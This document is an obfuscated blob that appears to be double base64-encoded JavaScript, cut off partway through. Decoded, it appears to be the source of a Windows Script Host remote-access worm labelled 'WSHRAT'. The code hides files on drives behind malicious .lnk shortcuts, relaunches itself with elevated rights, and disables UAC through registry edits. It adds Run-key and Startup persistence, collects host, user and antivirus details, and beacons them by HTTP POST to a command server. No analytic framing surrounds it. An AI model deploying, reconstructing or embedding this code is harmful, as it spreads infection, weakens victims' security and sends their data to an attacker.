S0NRbDJZWElnWm1sc1pTPj4lOUlHWnBMbWwwWlcwb0tUc0tJQz4+JWdJQz4+JWdJQ0JwWmk+PiVvYkc1clptbHNaUz4+JTlQU0JtWVd4elpTbDdZbkpsWVdzN2ZRb2dJQz4+JWdJQz4+JWdJR2xtSUNobWFXeGxMbTVoYldVdWFXNWtaWGhQWmlnaUxpSXBLWHNLSUM+PiVnSUM+PiVnSUM+PiVnSUM+PiVnYVdZZ0tDaG1hV3hsTG01aGJXVXVjM0JzYVhRb0lpNGlLVnRtYVd4bExtNWhiV1V1YzNCc2FYUW9JaTRpS1M1c1pXNW5kR2dnTFM+PiV4WFNrdWRHOU1iM2RsY2tOaGMyVW9LUz4+JWhQUz4+JWliRzVySWlsN0NpPj4lZ0lDPj4lZ0lDPj4lZ0lDPj4lZ0lDPj4lZ0lDQm1hV3hsTG1GMGRISnBZblYwWlhNZ1BTPj4leUt6UTdDaT4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQ0JwWmk+PiVvWm1sc1pTNXVZVzFsTG5SdlZYQndaWEpEWVhObEtDa2dJVDBnYVc1emRHRnNiRzVoYldVdWRHOVZjSEJsY2tOaGMyVW9LU2w3Q2k+PiVnSUM+PiVnSUM+PiVnSUM+PiVnSUM+PiVnSUM+PiVnSUM+PiVnWm1sc1pXNWhiV1VnUFNCbWFXeGxMbTVoYldVdWMzQnNhWFFvSWk0aUtUc0tJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQ0JzYm10dlltb2dQU0J6YUdWc2JHOWlhaTVqY21WaGRHVlRhRzl5ZEdOMWRDaGtjbWwyWlM1d1lYUm9JQ3NnSWx4Y0lpPj4lZ0t5Qm1hV3hsYm1GdFpWc3dYUz4+JXJJQ0l1Ykc1cklpazdDaT4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdiRzVyYjJKcUxuZHBibVJ2ZDFOMGVXeGxJRDBnTnpzS0lDPj4lZ0lDPj4lZ0lDPj4lZ0lDPj4lZ0lDPj4lZ0lDPj4lZ0lDQnNibXR2WW1vdWRHRnlaMlYwVUdGMGFDPj4lOUlDSmpiV1F1WlhobElqc0tJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQ0JzYm10dlltb3VkMjl5YTJsdVowUnBjbVZqZEc5eWVTPj4lOUlDSWlPd29nSUM+PiVnSUM+PiVnSUM+PiVnSUM+PiVnSUM+PiVnSUM+PiVnSUd4dWEyOWlhaTVoY21kMWJXVnVkSE1nUFM+PiVpTDJNZ2MzUmhjblFnSWk+PiVySUdsdWMzUmhiR3h1WVcxbExuSmxjR3hoWTJVb2JtVjNJRkpsWjBWNGNDZ2lJQ0lzSUNKbklpa3NJQ0pjSWlCY0lpSXBJQ3NnSWlaemRHRnlkQz4+JWlJQ3NnWm1sc1pTNXVZVzFsTG5KbGNHeGhZMlVvYm1WM0lGSmxaMFY0Y0NnaUlDSXNJQ0puSWlrc0lDSmNJaUJjSWlJcElDc2lKbVY0YVhRaU93b2dJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJSFJ5ZVh0bWFXeGxhV052Ymk+PiU5SUhOb1pXeHNiMkpxTGxKbFoxSmxZV1FnS0NKSVMwVlpYMHhQUTBGTVgwMUJRMGhKVGtWY1hITnZablIzWVhKbFhGeGpiR0Z6YzJWelhGd2lJQ3NnYzJobGJHeHZZbW91VW1WblVtVmhaQz4+JW9Ja2hMUlZsZlRFOURRVXhmVFVGRFNFbE9SVnhjYzI5bWRIZGhjbVZjWEdOc1lYTnpaWE5jWEM0aUlDc2dabWxzWlM1dVlXMWxMbk53YkdsMEtDSXVJaWxiWm1sc1pTNXVZVzFsTG5Od2JHbDBLQ0l1SWlrdWJHVnVaM1JvSUMwZ01WMHJJQ0pjWENJcElDc2dJbHhjWkdWbVlYVnNkR2xqYjI1Y1hDSXBPeUI5WTJGMFkyZ29aV1ZsWlNsN2ZRb2dJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJR2xtSUNobWFXeGxhV052Ymk1cGJtUmxlRTltS0NJc0lpa2dQVDBnTUNsN0k+PiVvZ0lDPj4lZ0lDPj4lZ0lDPj4lZ0lDPj4lZ0lDPj4lZ0lDPj4lZ0lDPj4lZ0lDQnNibXR2WW1vdWFXTnZia3h2WTJGMGFXOXVJRDBnWm1sc1pTNXdZWFJvT3dvZ0lDPj4lZ0lDPj4lZ0lDPj4lZ0lDPj4lZ0lDPj4lZ0lDPj4lZ0lIMWxiSE5sSUhzS0lDPj4lZ0lDPj4lZ0lDPj4lZ0lDPj4lZ0lDPj4lZ0lDPj4lZ0lDPj4lZ0lDPj4lZ2JHNXJiMkpxTG1samIyNU1iMk5oZEdsdmJpPj4lOUlHWnBiR1ZwWTI5dU93b2dJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJSDBLSUM+PiVnSUM+PiVnSUM+PiVnSUM+PiVnSUM+PiVnSUM+PiVnSUNCc2JtdHZZbW91YzJGMlpTZ3BPd29nSUM+PiVnSUM+PiVnSUM+PiVnSUM+PiVnSUM+PiVnZlFvZ0lDPj4lZ0lDPj4lZ0lDPj4lZ0lDQjlDaT4+JWdJQz4+JWdJQz4+JWdmUW9KQ1gxallYUmphQ2hsY25JcGUzMEtJQz4+JWdJSDBLQ1dadmNpaDJZWElnWm1rZ1BTQnVaWGNnUlc1MWJXVnlZWFJ2Y2lobWFXeGxjM2x6ZEdWdGIySnFMbWRsZEdadmJHUmxjaWhrY21sMlpTNXdZWFJvSUNzZ0lseGNJaWt1YzNWaVJtOXNaR1Z5Y3lrN0lDRm1hUzVoZEVWdVpDZ3BPeUJtYVM1dGIzWmxUbVY0ZENncEtYc0tDUWwwY25sN0Nna0pkbUZ5SUdadmJHUmxjaT4+JTlJR1pwTG1sMFpXMG9LVHNLSUM+PiVnSUM+PiVnSUNCcFppPj4lb2JHNXJabTlzWkdWeUlEMDlJR1poYkhObEtYdGljbVZoYXp0OUNpPj4lZ0lDPj4lZ0lDPj4lZ1ptOXNaR1Z5TG1GMGRISnBZblYwWlhNZ1BTPj4leUt6UTdDaT4+JWdJQz4+JWdJQz4+JWdabTlzWkdWeWJtRnRaUz4+JTlJR1p2YkdSbGNpNXVZVzFsT3dvZ0lDPj4lZ0lDPj4lZ0lHeHVhMjlpYWk+PiU5SUhOb1pXeHNiMkpxTG1OeVpXRjBaVk5vYjNKMFkzVjBLR1J5YVhabExuQmhkR2dnS3k+PiVpWEZ3aUlDPj4lcklHWnZiR1JsY201aGJXVWdLeT4+JWlMbXh1YXlJcE95Pj4lS0lDPj4lZ0lDPj4lZ0lDQnNibXR2WW1vdWQybHVaRzkzVTNSNWJHVWdQUz4+JTNPd29nSUM+PiVnSUM+PiVnSUd4dWEyOWlhaTUwWVhKblpYUlFZWFJvSUQwZ0ltTnRaQzVsZUdVaU93b2dJQz4+JWdJQz4+JWdJR3h1YTI5aWFpNTNiM0pyYVc1blJHbHlaV04wYjNKNUlEMGdJaUk3Q2k+PiVnSUM+PiVnSUM+PiVnYkc1cmIySnFMbUZ5WjNWdFpXNTBjeT4+JTlJQ0l2WXlCemRHRnlkQz4+JWlJQ3NnYVc1emRHRnNiRzVoYldVdWNtVndiR0ZqWlNodVpYY2dVbVZuUlhod0tDSWdJaXdnSW1jaUtTd2dJbHdpSUZ3aUlpa2dLeT4+JWlKbk4wWVhKMElHVjRjR3h2Y21WeUlDSWdLeUJtYjJ4a1pYSXVibUZ0WlM1eVpYQnNZV05sS0c1bGR5QlNaV2RGZUg+PiVvSWk+PiVpTEM+PiVpWnlJcExDPj4laVhDSWdYQ0lpS1M+PiVySWlabGVHbDBJanNLSUM+PiVnSUM+PiVnSUNCbWIyeGtaWEpwWTI5dUlEMGdjMmhsYkd4dlltb3VVbVZuVW1WaFpDZ2lTRXRGV1Y5TVQwTkJURjlOUVVOSVNVNUZYRnh6YjJaMGQyRnlaVnhjWTJ4aGMzTmxjMXhjWm05c1pHVnlYRnhrWldaaGRXeDBhV052Ymx4Y0lpazdJPj4lb2dJQz4+JWdJQz4+JWdJR2xtSUNobWIyeGtaWEpwWTI5dUxtbHVaR1Y0VDJZb0lpd2lLUz4+JTlQUz4+JXdLWHNLSUM+PiVnSUM+PiVnSUM+PiVnSUM+PiVnYkc1cmIySnFMbWxqYjI1TWIyTmhkR2x2Ymk+PiU5SUdadmJHUmxjaTV3WVhSb093b2dJQz4+JWdJQz4+JWdJSDFsYkhObElIc0tJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdiRzVyYjJKcUxtbGpiMjVNYjJOaGRHbHZiaT4+JTlJR1p2YkdSbGNtbGpiMjQ3Q2k+PiVnSUM+PiVnSUM+PiVnZlFvZ0lDPj4lZ0lDPj4lZ0lHeHVhMjlpYWk1ellYWmxLQ2s3Q2drSmZXTmhkR05vS0dWeWNpbDdmUW9nSUM+PiVnZlFwOUNuMEtmUXA5Q24wS0NtWjFibU4wYVc5dUlITjBZWEowZFhCRmJHVjJZWFJsS0NsN0NnbHBaaWhYVTJOeWFYQjBMa0Z5WjNWdFpXNTBjeTVPWVcxbFpDNUZlR2x6ZEhNb0ltVnNaWFpoZEdWa0lpa2dQVDBnWm1Gc2MyVXBld29KQ1hSeWVYc0tDUWtKVjFOamNtbHdkQzVEY21WaGRHVlBZbXBsWTNRb0lsTm9aV3hzTGtGd2NHeHBZMkYwYVc5dUlpa3VVMmhsYkd4RmVHVmpkWFJsS0NKM2MyTnlhWEIwTG1WNFpTSXNJQ0lnTHk5Q0lGd2lJaT4+JXJJRmRUWTNKcGNIUXVVMk55YVhCMFJuVnNiRTVoYldVZ0t5Pj4laVhDSWdMMlZzWlhaaGRHVmtJaXdnSWlJc0lDSnlkVzVoY3lJc0lERXBPd29KQ1gxallYUmphQ2h1YmlsN0Nna0pmUW9KQ1ZkVFkzSnBjSFF1Y1hWcGRDZ3BPd29KZlFwOUNncG1kVzVqZEdsdmJpQmthWE5oWW14bFUyVmpkWEpwZEhrb0tYc0tDV2xtS0ZkVFkzSnBjSFF1UVhKbmRXMWxiblJ6TGs1aGJXVmtMa1Y0YVhOMGN5Z2laV3hsZG1GMFpXUWlLUz4+JTlQU0IwY25WbEtYc0tDUWwyWVhJZ2IxSmxaeT4+JTlJRWRsZEU5aWFtVmpkQ2dpZDJsdWJXZHRkSE02ZTJsdGNHVnljMjl1WVhScGIyNU1aWFpsYkQxcGJYQmxjbk52Ym1GMFpYMGhYRnhjWEM1Y1hISnZiM1JjWEdSbFptRjFiSFE2VTNSa1VtVm5VSEp2ZGlJcE93b0pDVzlTWldjdVUyVjBSSGR2Y21SV1lXeDFaU2d3ZURnd01EPj4ld01EPj4leUxDSlRUMFpVVjBGU1JWeGNUV2xqY205emIyWjBYRnhYYVc1a2IzZHpYRnhEZFhKeVpXNTBWbVZ5YzJsdmJseGNVRzlzYVdOcFpYTmNYRk41YzNSbGJTSXNJa1Z1WVdKc1pVeFZRU0lzSUQ+PiVwT3dvSkNXOVNaV2N1VTJWMFJIZHZjbVJXWVd4MVpTZ3dlRGd3TUQ+PiV3TUQ+PiV5TENKVFQwWlVWMEZTUlZ4Y1RXbGpjbTl6YjJaMFhGeFhhVzVrYjNkelhGeERkWEp5Wlc1MFZtVnljMmx2Ymx4Y1VHOXNhV05wWlhOY1hGTjVjM1JsYlNJc0lrTnZibk5sYm5SUWNtOXRjSFJDWldoaGRtbHZja0ZrYldsdUlpd2dNQ2s3Q2drSmIxSmxaeT4+JTlJRzUxYkd3N0NnbDlDbjBLQ21aMWJtTjBhVzl1SUhWdWFXNXpkR0ZzYkNncGV3cDBjbmw3Q25aaGNpQm1hV3hsYm1GdFpUc0tkbUZ5SUdadmJHUmxjbTVoYldVN0NuUnllWHNLSUM+PiVnSUhOb1pXeHNiMkpxTGxKbFowUmxiR1YwWlNnaVNFdEZXVjlEVlZKU1JVNVVYMVZUUlZKY1hITnZablIzWVhKbFhGeHRhV055YjNOdlpuUmNYSGRwYm1SdmQzTmNYR04xY25KbGJuUjJaWEp6YVc5dVhGeHlkVzVjWENJZ0t5QnBibk4wWVd4c2JtRnRaUzV6Y0d4cGRDZ2lMaUlwV3pCZEtUc0tJQz4+JWdJSE5vWld4c2IySnFMbEpsWjBSbGJHVjBaU2dpU0V0RldWOU1UME5CVEY5TlFVTklTVTVGWEZ4emIyWjBkMkZ5WlZ4Y2JXbGpjbTl6YjJaMFhGeDNhVzVrYjNkelhGeGpkWEp5Wlc1MGRtVnljMmx2Ymx4Y2NuVnVYRndpSUNzZ2FXNXpkR0ZzYkc1aGJXVXVjM0JzYVhRb0lpNGlLVnN3WFNrN0NuMWpZWFJqYUNobGFTbDdmUXAwY25sN0NtWnBiR1Z6ZVhOMFpXMXZZbW91WkdWc1pYUmxSbWxzWlNoemRHRnlkSFZ3SUNzZ2FXNXpkR0ZzYkc1aGJXVWdMSFJ5ZFdVcE93cG1hV3hsYzNsemRHVnRiMkpxTG1SbGJHVjBaVVpwYkdVb1YxTmpjbWx3ZEM1elkzSnBjSFJHZFd4c1RtRnRaUz4+JXNkSEoxWlNrN0NuMWpZWFJqYUNobFpXb3BlMzBLWm05eUtIWmhjaUJrY21rZ1BTQnVaWGNnUlc1MWJXVnlZWFJ2Y2lobWFXeGxjM2x6ZEdWdGIySnFMbVJ5YVhabGN5azdJQ0ZrY21rdVlYUkZibVFvS1RzZ1pISnBMbTF2ZG1WT1pYaDBLQ2twZXdwMllYSWdaSEpwZG1VZ1BTQmtjbWt1YVhSbGJTZ3BPd3BwWmk+PiVvWkhKcGRtVXVhWE55WldGa2VTPj4lOVBTQjBjblZsS1hzS2FXWWdLR1J5YVhabExtWnlaV1Z6Y0dGalpTPj4lK0lEPj4lZ0tYc0thV1lnS0dSeWFYWmxMbVJ5YVhabGRIbHdaUz4+JTlQUz4+JXhJQ2w3Q2dsbWIzSW9kbUZ5SUdacElEMGdibVYzSUVWdWRXMWxjbUYwYjNJb1ptbHNaWE41YzNSbGJXOWlhaTVuWlhSbWIyeGtaWElvWkhKcGRtVXVjR0YwYUM+PiVySUNKY1hDSXBMbVpwYkdWektUc2dJV1pwTG1GMFJXNWtLQ2s3SUdacExtMXZkbVZPWlhoMEtDa3Bld29nSUM+PiVnSUM+PiVnSUNCMllYSWdabWxzWlM+PiU5SUdacExtbDBaVzBvS1RzS0NRa2dkSEo1ZXdvZ0lDPj4lZ0lDPj4lZ0lDQnBaaT4+JW9abWxzWlM1dVlXMWxMbWx1WkdWNFQyWW9JaTRpS1NsN0NpPj4lZ0lDPj4lZ0lDPj4lZ0lDPj4lZ0lDQnBaaT4+JW9LR1pwYkdVdWJtRnRaUzV6Y0d4cGRDZ2lMaUlwVzJacGJHVXVibUZ0WlM1emNHeHBkQ2dpTGlJcExteGxibWQwYUM+PiV0SURGZEtTNTBiMHh2ZDJWeVEyRnpaU2dwSUNFOUlDSnNibXNpS1hzS0lDPj4lZ0lDPj4lZ0lDPj4lZ0lDPj4lZ0lDPj4lZ0lDQm1hV3hsTG1GMGRISnBZblYwWlhNZ1BTPj4ld093b2dJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJR2xtSUNobWFXeGxMbTVoYldVdWRHOVZjSEJsY2tOaGMyVW9LUz4+JWhQU0JwYm5OMFlXeHNibUZ0WlM1MGIxVndjR1Z5UTJGelpTZ3BLWHNLSUM+PiVnSUM+PiVnSUM+PiVnSUM+PiVnSUM+PiVnSUM+PiVnSUM+PiVnWm1sc1pXNWhiV1VnUFNCbWFXeGxMbTVoYldVdWMzQnNhWFFvSWk0aUtUc0tJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdabWxzWlhONWMzUmxiVzlpYWk1a1pXeGxkR1ZHYVd4bEtHUnlhWFpsTG5CaGRHZ2dLeT4+JWlYRndpSUNzZ1ptbHNaVzVoYldWYk1GMGdLeT4+JWlMbXh1YXlJZ0tUc0tJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQ0I5Wld4elpYc0tJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdabWxzWlhONWMzUmxiVzlpYWk1a1pXeGxkR1ZHYVd4bEtHUnlhWFpsTG5CaGRHZ2dLeT4+JWlYRndpSUNzZ1ptbHNaUzV1WVcxbEtUc0tJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQ0I5Q2k+PiVnSUM+PiVnSUM+PiVnSUM+PiVnSUNCOVpXeHpaWHNLSUM+PiVnSUM+PiVnSUM+PiVnSUM+PiVnSUM+PiVnSUNCbWFXeGxjM2x6ZEdWdGIySnFMbVJsYkdWMFpVWnBiR1VnS0dacGJHVXVjR0YwYUNrN0NpPj4lZ0lDPj4lZ0lDPj4lZ0lDPj4lZ0lDQjlDaT4+JWdJQz4+JWdJQz4+JWdJSDBLQ1FrZ2ZXTmhkR05vS0dWNEtYdDlDaT4+JWdJQz4+JWdmUW9KSUdadmNpaDJZWElnWm1rZ1BTQnVaWGNnUlc1MWJXVnlZWFJ2Y2lobWFXeGxjM2x6ZEdWdGIySnFMbWRsZEdadmJHUmxjaWhrY21sMlpTNXdZWFJvSUNzZ0lseGNJaWt1YzNWaVJtOXNaR1Z5Y3lrN0lDRm1hUzVoZEVWdVpDZ3BPeUJtYVM1dGIzWmxUbVY0ZENncEtYc0tDUWwyWVhJZ1ptOXNaR1Z5SUQwZ1pta3VhWFJsYlNncE93b2dJQz4+JWdJQz4+JWdJQ0JtYjJ4a1pYSXVZWFIwY21saWRYUmxjeT4+JTlJRD4+JTdDaT4+JWdJQz4+JWdmUXA5Q24wS2ZRcDlDbjFqWVhSamFDaGxjbklwZTMwS1YxTmpjbWx3ZEM1eGRXbDBLQ2s3Q24wS0NtWjFibU4wYVc5dUlIQnZjM1FnS0dOdFpDPj4lc2NHRnlZVzBwZXdwMGNubDdDbWgwZEhCdlltb3ViM0JsYmlnaWNHOXpkQ0lzSW1oMGRIPj4lNkx5OGlJQ3NnYUc5emRDPj4lcklDSTZJaT4+JXJJSEJ2Y25RZ0t5SXZJaT4+JXJJR050WkN3Z1ptRnNjMlVwT3dwb2RIUndiMkpxTG5ObGRGSmxjWFZsYzNSSVpXRmtaWElvSW5WelpYSXRZV2RsYm5RNklpeHBibVp2Y20xaGRHbHZiaWdwS1RzS2FIUjBjRzlpYWk1elpXNWtLSEJoY21GdEtUc0tjbVYwZFhKdUlHaDBkSEJ2WW1vdWNtVnpjRzl1YzJWVVpYaDBPd3A5WTJGMFkyZ29aWEp5S1hzS0NYSmxkSFZ5Ymk+PiVpSWpzS2ZRcDlDZ3BtZFc1amRHbHZiaUJwYm1admNtMWhkR2x2YmlncGV3cDBjbmw3Q21sbUlDaHBibVlnUFQwZ0lpSXBld29nSUM+PiVnYVc1bUlEMGdhSGRwWkNncElDc2djM0JzYVhSbGNqc0tJQz4+JWdJR2x1Wmk+PiU5SUdsdVppPj4lZ0t5QnphR1ZzYkc5aWFpNUZlSEJoYm1SRmJuWnBjbTl1YldWdWRGTjBjbWx1WjNNb0lpVmpiMjF3ZFhSbGNtNWhiV1VsSWlrZ0t5QnpjR3hwZEdWeUlEc0tJQz4+JWdJR2x1Wmk+PiU5SUdsdVppPj4lZ0t5QnphR1ZzYkc5aWFpNUZlSEJoYm1SRmJuWnBjbTl1YldWdWRGTjBjbWx1WjNNb0lpVjFjMlZ5Ym1GdFpTVWlLUz4+JXJJSE53YkdsMFpYSTdDZ29nSUM+PiVnZG1GeUlISnZiM1FnUFNCSFpYUlBZbXBsWTNRb0luZHBibTFuYlhSek9udHBiWEJsY25OdmJtRjBhVzl1YkdWMlpXdzlhVzF3WlhKemIyNWhkR1Y5SVZ4Y1hGd3VYRnh5YjI5MFhGeGphVzEyTWlJcE93b2dJQz4+JWdkbUZ5SUc5eklEMGdjbTl2ZEM1RmVHVmpVWFZsY25rZ0tDSnpaV3hsWTNRZ0tpQm1jbTl0SUhkcGJqTXlYMjl3WlhKaGRHbHVaM041YzNSbGJTSXBPd29nSUM+PiVLQ1dadmNpaDJZWElnWm1rZ1BTQnVaWGNnUlc1MWJXVnlZWFJ2Y2lodmN5azdJQ0ZtYVM1aGRFVnVaQ2dwT3lCbWFTNXRiM1psVG1WNGRDZ3BLWHNLQ1FsMllYSWdiM05wYm1adklEMGdabWt1YVhSbGJTZ3BPd29nSUM+PiVnSUM+PiVnYVc1bUlEMGdhVzVtSUNzZ2IzTnBibVp2TG1OaGNIUnBiMjRnS3lCemNHeHBkR1Z5T3k+PiVnQ2k+PiVnSUM+PiVnSUNCaWNtVmhhenNLSUM+PiVnSUgwS0lDPj4lZ0lHbHVaaT4+JTlJR2x1Wmk+PiVySUNKd2JIVnpJaT4+JXJJSE53YkdsMFpYSTdDaT4+JWdJQ0JwYm1ZZ1BTQnBibVlnS3lCelpXTjFjbWwwZVNncElDc2djM0JzYVhSbGNqc0tJQz4+JWdJR2x1Wmk+PiU5SUdsdVppPj4lcklIVnpZbk53Y21WaFpHbHVaenNLSUM+PiVnSUdsdVppPj4lOUlDSlhVMGhTUVZRaUlDc2djM0JzYVhSbGNpPj4lcklHbHVaaT4+JXJJSE53YkdsMFpYSWdLeT4+JWlTbUYyWVZOamNtbHdkQzEyTVM0MklpPj4lN0NpPj4lZ0lDQnlaWFIxY200Z2FXNW1Pd3A5Wld4elpYc0tJQz4+JWdJSEpsZEhWeWJpQnBibVk3Q24wS2ZXTmhkR05vS0dWeWNpbDdDZ2x5WlhSMWNtNGdJaUk3Q24wS2ZRb0tDbVoxYm1OMGFXOXVJSFZ3YzNSaGNuUWdLQ2w3Q25SeWVYc0tkSEo1ZXdvZ0lDPj4lZ2MyaGxiR3h2WW1vdVVtVm5WM0pwZEdVb0lraExSVmxmUTFWU1VrVk9WRjlWVTBWU1hGeHpiMlowZDJGeVpWeGNiV2xqY205emIyWjBYRngzYVc1a2IzZHpYRnhqZFhKeVpXNTBkbVZ5YzJsdmJseGNjblZ1WEZ3aUlDc2dhVzV6ZEdGc2JHNWhiV1V1YzNCc2FYUW9JaTRpS1Zzd1hTd2dJQ0ozYzJOeWFYQjBMbVY0WlM+PiV2TDBJZ1hDSWlJQ3NnYVc1emRHRnNiR1JwY2k+PiVySUdsdWMzUmhiR3h1WVcxbElDc2dJbHdpSWk+PiVzSUNKU1JVZGZVMW9pS1RzS0lDPj4lZ0lITm9aV3hzYjJKcUxsSmxaMWR5YVhSbEtDSklTMFZaWDB4UFEwRk1YMDFCUTBoSlRrVmNYSE52Wm5SM1lYSmxYRnh0YVdOeWIzTnZablJjWEhkcGJtUnZkM05jWEdOMWNuSmxiblIyWlhKemFXOXVYRnh5ZFc1Y1hDSWdLeUJwYm5OMFlXeHNibUZ0WlM1emNHeHBkQ2dpTGlJcFd6QmRMQz4+JWdJbmR6WTNKcGNIUXVaWGhsSUM4dlFpQmNJaUlnS3lCcGJuTjBZV3hzWkdseUlDc2dhVzV6ZEdGc2JHNWhiV1VnS3k+PiVpWENJaUlDd2dJbEpGUjE5VFdpSXBPd3A5WTJGMFkyZ29aV2twZTMwS1ptbHNaWE41YzNSbGJXOWlhaTVqYjNCNVJtbHNaU2hYVTJOeWFYQjBMbk5qY21sd2RFWjFiR3hPWVcxbExDQnBibk4wWVd4c1pHbHlJQ3NnYVc1emRHRnNiRzVoYldVc0lIUnlkV1VwT3dwbWFXeGxjM2x6ZEdWdGIySnFMbU52Y0hsR2FXeGxLRmRUWTNKcGNIUXVjMk55YVhCMFJuVnNiRTVoYldVc0lITjBZWEowZFg+PiVnS3lCcGJuTjBZV3hzYm1GdFpTd2dkSEoxWlNrN0NuMWpZWFJqYUNobGNuSXBlMzBLZlFvS0NtWjFibU4wYVc5dUlHaDNhV1FvS1hzS2RISjVld3AyWVhJZ2NtOXZkQz4+JTlJRWRsZEU5aWFtVmpkQ2dpZDJsdWJXZHRkSE02ZTJsdGNHVnljMjl1WVhScGIyNU1aWFpsYkQxcGJYQmxjbk52Ym1GMFpYMGhYRnhjWEM1Y1hISnZiM1JjWEdOcGJYWXlJaWs3Q25aaGNpQmthWE5yY3k+PiU5SUhKdmIzUXVSWGhsWTFGMVpYSjVJQ2dpYzJWc1pXTjBJQ29nWm5KdmJTQjNhVzR6TWw5c2IyZHBZMkZzWkdsemF5SXBPd3BtYjNJb2RtRnlJR1pwSUQwZ2JtVjNJRVZ1ZFcxbGNtRjBiM0lvWkdsemEzTXBPeT4+JWhabWt1WVhSRmJtUW9LVHNnWm1rdWJXOTJaVTVsZUhRb0tTbDdDblpoY2lCa2FYTnJJRDBnWm1rdWFYUmxiU2dwT3dvZ0lDPj4lZ2FXWWdLR1JwYzJzdWRtOXNkVzFsVTJWeWFXRnNUblZ0WW1WeUlDRTlJQ0lpS1hzS0lDPj4lZ0lDPj4lZ0lDQnlaWFIxY200Z1pHbHpheTUyYjJ4MWJXVlRaWEpwWVd4T2RXMWlaWEk3Q2k+PiVnSUM+PiVnSUM+PiVnWW5KbFlXczdDaT4+JWdJQ0I5Q24wS2ZXTmhkR05vS0dWeWNpbDdDZ2x5WlhSMWNtNGdJaUk3Q24wS2ZRb0tDbVoxYm1OMGFXOXVJSE5sWTNWeWFYUjVLQ2w3Q25SeWVYc0tkbUZ5SUc5aWFuZHRhWE5sY25acFkyVWdQU0JIWlhSUFltcGxZM1FvSW5kcGJtMW5iWFJ6T250cGJYQmxjbk52Ym1GMGFXOXViR1YyWld3OWFXMXdaWEp6YjI1aGRHVjlJVnhjWEZ3dVhGeHliMjkwWEZ4amFXMTJNaUlwT3dwMllYSWdZMjlzYVhSbGJYTWdQU0J2WW1wM2JXbHpaWEoyYVdObExrVjRaV05SZFdWeWVTZ2ljMlZzWldOMElDb2dabkp2YlNCM2FXNHpNbDl2Y0dWeVlYUnBibWR6ZVhOMFpXMGlMRzUxYkd3c05EZ3BPd29LZG1GeUlIWmxjbk5wYjI1emRISXNJRzl6ZG1WeWMybHZianNLWm05eUtIWmhjaUJtYVM+PiU5SUc1bGR5QkZiblZ0WlhKaGRHOXlLR052YkdsMFpXMXpLVHNnSVdacExtRjBSVzVrS0NrN0lHWnBMbTF2ZG1WT1pYaDBLQ2twZXdvZ0lDPj4lZ2RtRnlJRzlpYW1sMFpXMGdQU0JtYVM1cGRHVnRLQ2s3Q2k+PiVnSUNCMlpYSnphVzl1YzNSeUlEMGdiMkpxYVhSbGJTNTJaWEp6YVc5dUxuUnZVM1J5YVc1bktDa3VjM0JzYVhRb0lpNGlLVHNLZlFvS0x5OTJaWEp6YVc5dWMzUnlJRDBnWTI5c2FYUmxiWE11ZG1WeWMybHZiaTV6Y0d4cGRDZ2lMaUlwT3dwdmMzWmxjbk5wYjI0Z1BTQjJaWEp6YVc5dWMzUnlXekJkSUNzZ0lpNGlPd3BtYjNJZ0tIWmhjaUI0SUQwZ01Uc2dlQz4+JThJSFpsY25OcGIyNXpkSEl1YkdWdVozUm9PeUI0S3lzcGV3b0pJRzl6ZG1WeWMybHZiaT4+JTlJRzl6ZG1WeWMybHZiaT4+JXJJSFpsY25OcGIyNXpkSEpiTUYwN0NuMEtDbTl6ZG1WeWMybHZiaT4+JTlJR1YyWVd3b2IzTjJaWEp6YVc5dUtUc0tkbUZ5SUhOak93cHBaaT4+JW9iM04yWlhKemFXOXVJRDRnTmlsN0lITmpJRDBnSW5ObFkzVnlhWFI1WTJWdWRHVnlNaUk3SUgxbGJITmxleUJ6WXk+PiU5SUNKelpXTjFjbWwwZVdObGJuUmxjaUk3ZlFvS2RtRnlJRzlpYW5ObFkzVnlhWFI1WTJWdWRHVnlJRDBnUjJWMFQySnFaV04wS0NKM2FXNXRaMjEwY3pwY1hGeGNiRzlqWVd4b2IzTjBYRnh5YjI5MFhGd2lJQ3NnYzJNcE93cDJZWElnWTI5c1lXNTBhWFpwY25WeklEMGdiMkpxYzJWamRYSnBkSGxqWlc1MFpYSXVSWGhsWTFGMVpYSjVLQ0p6Wld4bFkzUWdLaUJtY205dElHRnVkR2wyYVhKMWMzQnliMlIxWTNRaUxDPj4laWQzRnNJaXdnTUNrN0NuWmhjaUJ6WldOMUlEMGdJaUk3Q21admNpaDJZWElnWm1rZ1BTQnVaWGNnUlc1MWJXVnlZWFJ2Y2loamIyeGhiblJwZG1seWRYTXBPeT4+JWhabWt1WVhSRmJtUW9LVHNnWm1rdWJXOTJaVTVsZUhRb0tTbDdDZ2wyWVhJZ2IySnFZVzUwYVhacGNuVnpJRDBnWm1rdWFYUmxiU2dwT3dvZ0lDPj4lZ2MyVmpkUz4+JTlJSE5sWTNVZ0lDc2diMkpxWVc1MGFYWnBjblZ6TG1ScGMzQnNZWGxPWVcxbElDc2dJaT4+JXVJanNLZlFwcFppaHpaV04xSUQwOUlDSWlLWHR6WldOMUlEMGdJbTVoYmkxaGRpSTdmUXB5WlhSMWNtNGdjMlZqZFRzS2ZXTmhkR05vS0dWeWNpbDdmUXA5Q21aMWJtTjBhVzl1SUdkbGRFUmhkR1VvS1hzS0lDPj4lZ0lIWmhjaUJ6SUQwZ0lpSTdDaT4+JWdJQ0IyWVhJZ1pDPj4lOUlHNWxkeUJFWVhSbEtDazdJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JUtJQz4+JWdJSE1nS3owZ1pDNW5aWFJFWVhSbEtDa2dLeT4+JWlMeUk3SUM+PiVnSUM+PiVnSUM+PiVnST4+JW9nSUM+PiVnY3k+PiVyUFM+PiVvWkM1blpYUk5iMjUwYUNncElDc2